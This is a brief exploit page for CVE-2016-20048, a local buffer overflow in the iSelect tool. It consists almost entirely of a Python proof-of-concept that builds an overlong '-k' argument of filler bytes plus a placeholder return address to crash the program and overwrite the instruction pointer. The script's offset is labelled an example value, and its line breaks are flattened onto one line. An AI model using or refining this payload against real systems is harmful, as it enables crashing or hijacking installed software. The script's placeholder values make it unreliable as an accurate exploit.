CVE-2016-20048 iSelect本地缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2016-20048 (iSelect Local Buffer Overflow) # This script generates a payload to crash the application via the -k parameter. import sys # The buffer size is 1024 bytes. We need to overflow it to overwrite the return address. # Offset to overwrite EIP (Example value, real offset depends on the binary version) offset = 1036 # Payload construction # 1. Padding (NOP sled or 'A's) padding = b"A" * offset # 2. Return Address (Placeholder 0x41414141) ret_addr = b"\x41\x41\x41\x41" payload = padding + ret_addr print(f"[+] Generating PoC payload for CVE-2016-20048...") print(f"[+] Payload length: {len(payload)} bytes") print(f"[+] Usage: iselect -k '{payload.decode('latin-1')}'")